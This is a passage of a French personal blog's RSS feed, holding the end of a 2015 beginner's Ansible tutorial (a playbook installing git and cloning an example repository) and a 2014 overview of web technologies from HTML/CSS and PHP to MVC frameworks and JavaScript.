&lt;p&gt;&lt;em&gt;Note : Dans le premier cas, on utilise l’identifiant root, qui est donc super utilisateur. On pourra donc faire tout ce que l’on veut, mais ce n’est pas très sécurisé d’authoriser les connexions directement depuis root. Dans le second cas on se connecte avec un compte non privilégié, c’est plus sécurisé mais on ne pourra rien installer. Sauf si john est dans les sudoers, et dans ce cas là, vous devrez rajouter l’argument &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ask-sudo-pass&lt;/code&gt; à Ansible. C’est la solution à préférer pour la production !&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;votre-premier-playbook&quot;&gt;Votre premier “playbook”&lt;/h3&gt;

&lt;p&gt;Un playbook est un fichier au format YML qui décrit les différentes étapes de votre déploiement. Choissisez un nom (par exemple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git-test.yml&lt;/code&gt;), et créez un nouveau fichier avec votre éditeur de texte préféré :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
- hosts: server1
  tasks:
    - name: Install git
      apt: name=git state=present

    - name: Clone git repository
      git: repo=https://github.com/ansible/ansible-examples.git dest=/src/ansible-example
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;executer-votre-playbook&quot;&gt;Executer votre playbook&lt;/h3&gt;

&lt;p&gt;Après avoir ajouté votre fichier à un dépôt git, vous êtes prêt à l’exécuter.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ansible-playbook git-test.yml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Si tout se passe bien, vous devriez obtenir un résultat semblable :
&lt;img src=&quot;/assets/images/posts/ansible-deploy.png&quot; alt=&quot;Capture Ansible : le déploiement&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ici on voit que git était déjà installé, c’est pour ça qu’il est OK en vert, il est dans l’état que nous souhaitons, rien n’a été modifié. Par contre, le dépôt n’était pas cloné, une action a donc été réalisée, d’où le “changed”.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;aller-plus-loin&quot;&gt;Aller plus loin&lt;/h3&gt;

&lt;p&gt;Vous avez certainement vu le “Gathering Fact” sur la capture précédente. Cette étape permet à Ansible de récupérer beaucoup d’informations sur votre serveur, que vous pourrez réexploiter dans vos scripts.&lt;/p&gt;

&lt;p&gt;Vous aurez aussi besoin assez vite des handlers. Imaginons que vous modifiez le fichier de configuration du serveur web nginx. Pour que cette modification soit prise en compte, nginx doit être redémarré. Mais vous ne voulez pas redémarrer nginx à chaque fois. Les handlers sont là pour ça !&lt;/p&gt;

&lt;p&gt;Ce billet touche à sa fin, Ansible devrait quand même vous réserver encore plein de (bonnes) surprises. Mais ne vous inquiétez pas, vous devriez maintenant avoir toutes les clés pour bien déployer vos projets ! Bon courage !&lt;/p&gt;
</description>
        <pubDate>Fri, 02 Oct 2015 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2015-10-02/ansible/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2015-10-02/ansible/</guid>
      </item>
    
    
    
      <item>
        <title>Un historique du web</title>
        
        <description>&lt;p&gt;Réaliser un site web aujourd’hui compte de nombreux enjeux. Cet article se découpe en plusieurs parties. L’idée derrière ce post est de traverser les années (plus ou moins) et de voir ce qui se fait, pour progresser doucement. Nous utiliserons bien sûr que des technologies actuelles.&lt;/p&gt;

&lt;p&gt;Tout d’abord, le web, c’était des pages statiques, fixées, qui ne bougent pas. On a ensuite rajouté des couleurs. Ce sera notre première étape.&lt;/p&gt;

&lt;p&gt;Ensuite, on a voulu rendre les pages dynamiques, pouvoir les modifier en fonction du visiteur. Deuxième étape.&lt;/p&gt;

&lt;p&gt;Après ça, on a commencé à imaginer des sites web dynamiques, qui pourraient intéragir avec l’utilisateur et le serveur sans recharger la page, nous arrivons à notre troisième étape.&lt;/p&gt;

&lt;p&gt;Nous rentrons maintenant dans l’ère industrielle, avec les différents outils pour gérer votre projet web.&lt;/p&gt;

&lt;p&gt;Enfin, nous terminerons avec les technologies web de demain, qui permettent de réaliser de vrais applications et plus encore.&lt;/p&gt;

&lt;h2 id=&quot;html--css&quot;&gt;HTML &amp;amp; CSS&lt;/h2&gt;

&lt;p&gt;Le HTML est un langage de balisage. Il permet de décrire à l’aide d’un fichier texte les types d’informations qui seront contenues dans votre document html - à fortiori sur votre site web. Un fichier HTML ne se préocuppe pas du rendu, des couleurs. Pour ce qui est de l’apparence, du cosmétique, on utilise le CSS. Le CSS applique des modifications sur des balises du HTML.&lt;/p&gt;

&lt;p&gt;Pour tester votre page en HTML ou CSS, il vous faut juste un bloc note et un navigateur&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Un petit exemple&lt;/strong&gt; : Nous déclarons que ce bloc de texte est un paragraphe grâce au HTML. Nous pouvons changer la couleur de ce dernier grâce au CSS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Où apprendre le HTML et CSS ?&lt;/strong&gt; :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://fr.openclassrooms.com/informatique/cours/apprenez-a-creer-votre-site-web-avec-html5-et-css3&quot;&gt;OpenClassRooms&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/fr/docs/Web/HTML&quot;&gt;Documentation Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pour rendre accessible mes pages HTML et CSS à tout le monde, je dois utiliser un serveur web. Ce sont actuellement des contenus statiques. Apache et nginx excellent dans ce domaine. Si vous utilisez Windows, vous pouvez installer WAMP (Windows Apache MySQL PHP) ou XAMP (X Apache MySQL PHP). Sous linux, installez nginx ou apache&lt;/p&gt;

&lt;h2 id=&quot;soyez-dynamique&quot;&gt;Soyez dynamique !&lt;/h2&gt;

&lt;h3 id=&quot;la-version-old-school-avec-php&quot;&gt;La version old-school avec PHP&lt;/h3&gt;

&lt;p&gt;L’idéal serait de pouvoir générer nos pages web à la volée. La manière la plus simple serait de le faire avec PHP. Nous ne nous atterderons pas sur cette possibilité qui est dépréciée. Sachez juste qu’une page PHP en 2000 pouvait ressembler à ça :&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Mon titre&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Nous sommes le &lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;d-m-Y&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;de-nouveaux-langages-une-nouvelle-approche&quot;&gt;De nouveaux langages, une nouvelle approche&lt;/h3&gt;

&lt;p&gt;Bien que PHP reste majoritaire dans beaucoup de cas, de nouvelles approches pour développer votre application web.&lt;/p&gt;

&lt;p&gt;Entre autre, de plus en plus de sites sont développés grâce à Python, Javascript, Ruby, Java, etc. Leur approche est différente. Dans ce cas là, on va écrire un programme dans ce langage, qui va utiliser une bibliothèque http. Pour lancer notre site web, il ne nous restera qu’à lancer notre programme.&lt;/p&gt;

&lt;h3 id=&quot;arrêtons-de-réinventer-la-roue-&quot;&gt;Arrêtons de réinventer la roue !&lt;/h3&gt;

&lt;p&gt;Il existe de nombreux frameworks, qui posent les bases d’une application. C’est comme si des personnes avaient déjà écrit le squelette de votre application, vous n’avez plus qu’à implémenter ce que vous voulez. Voici une liste non exhaustive avec leur langage associé :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Symfony, gros framework, une référence sur PHP &lt;a href=&quot;http://symfony.com/fr/doc/current/quick_tour/the_big_picture.html&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Zend, idem que Symfony, PHP &lt;a href=&quot;http://framework.zend.com/manual/2.3/en/user-guide/overview.html&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Silex, Framework dérivé de Symfony, léger, PHP &lt;a href=&quot;http://silex.sensiolabs.org/doc/intro.html&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Express, Framework léger pour NodeJS &lt;a href=&quot;http://expressjs.com/starter/installing.html&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SailsJS, Gros framework NodeJS &lt;a href=&quot;http://sailsjs.org/#/getStarted&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Rails, framework Ruby &lt;a href=&quot;http://guides.rubyonrails.org/getting_started.html&quot;&gt;Documenation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Django, framework Python &lt;a href=&quot;https://docs.djangoproject.com/en/1.7/intro/overview/&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Play, framework Java &lt;a href=&quot;https://www.playframework.com/documentation/2.3.x/Installing&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Tout ces liens mènent vers la page de démarrage du projet, n’hésitez pas à naviguer sur les sites pour avoir des infos sur le framework&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;design-pattern-mvc&quot;&gt;Design Pattern MVC&lt;/h3&gt;

&lt;p&gt;Tout ces frameworks partagent un point commun : leur façon de fonctionner. Elle est appelée MVC ou Modèle Vue Controlleur.&lt;/p&gt;

&lt;p&gt;Pour faire simple, un utilisateur fait une requete sur votre application en cliquant sur un lien, ce qui appelle un &lt;strong&gt;Controlleur&lt;/strong&gt;. Ce &lt;strong&gt;Controlleur&lt;/strong&gt; va chercher les informations dont il a besoin dans les &lt;strong&gt;Modèles&lt;/strong&gt;. Une fois les informations en sa possession, il les injecte dans la &lt;strong&gt;Vue&lt;/strong&gt;, puis la renvoit à l’utilisateur.&lt;/p&gt;

&lt;p&gt;Chaque controlleur sera donc associé à une url de notre application. Par exemple BlogController() fera référence à http://quentin.dufour.tk/blog, AboutController() fera référence à http://quentin.dufour.tk/about…&lt;/p&gt;

&lt;p&gt;Un modèle représente une entité de notre application. On aura donc un objet User, un objet Article, un objet Page…&lt;/p&gt;

&lt;p&gt;La vue est le code HTML de base dans lequel on va injecter le code de notre article. Une vue de ce blog pourrait ressembler à ça :&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;article&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{[ article.title ]}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{[ article.content ]}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;em&amp;gt;&lt;/span&gt;{[ article.author ]}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/em&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/article&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;javascript&quot;&gt;Javascript&lt;/h2&gt;

&lt;p&gt;A chaque fois que votre utilisateur fait une action, vous devez recharger la page web. Vous pouvez mettre fin à ça facilement grâce au javascript !&lt;/p&gt;

&lt;p&gt;Il y a quelques années, la révolution jQuery est arrivée et a rendu le javascript simple. Les sites actuels sont d’une tel complexité que jQuery semble désuet. jQuery est une bibliothèque, et permet de réaliser certaines actions plus facilement. Il ne vous impose pas de cadre. Il vous permet de facilement modifier le DOM, le code html de votre page web à la volée. Pour en savoir plus, je vous renvois à la &lt;a href=&quot;http://api.jquery.com/&quot;&gt;documentation&lt;/a&gt; ou le cours
d’&lt;a href=&quot;http://fr.openclassrooms.com/informatique/cours/jquery-ecrivez-moins-pour-faire-plus&quot;&gt;OpenClassRooms&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Aujourd’hui, utilisez jQuery pour construire une application web de 0 semble suicidaire. Il est préférable d’utiliser un framework, qui définit clairement un cadre, avec un endroit précis pour vos fonctions.
Les deux plus connues sont &lt;a href=&quot;http://backbonejs.org/#introduction&quot;&gt;Backbone&lt;/a&gt; et &lt;a href=&quot;https://angularjs.org/&quot;&gt;Angular&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Angular utiliser par exemple un modèle MVC, semblable à celui de votre serveur mais pour votre client.&lt;/p&gt;

&lt;p&gt;Voilà, nous venons de faire un tour très rapide de l’évolution du web, et donc de ses technologies. Il en existe bien plus, à vous de les découvrir !&lt;/p&gt;
</description>
        <pubDate>Wed, 15 Oct 2014 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2014-10-15/web/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2014-10-15/web/</guid>
      </item>
    
    
  </channel>
</rss>
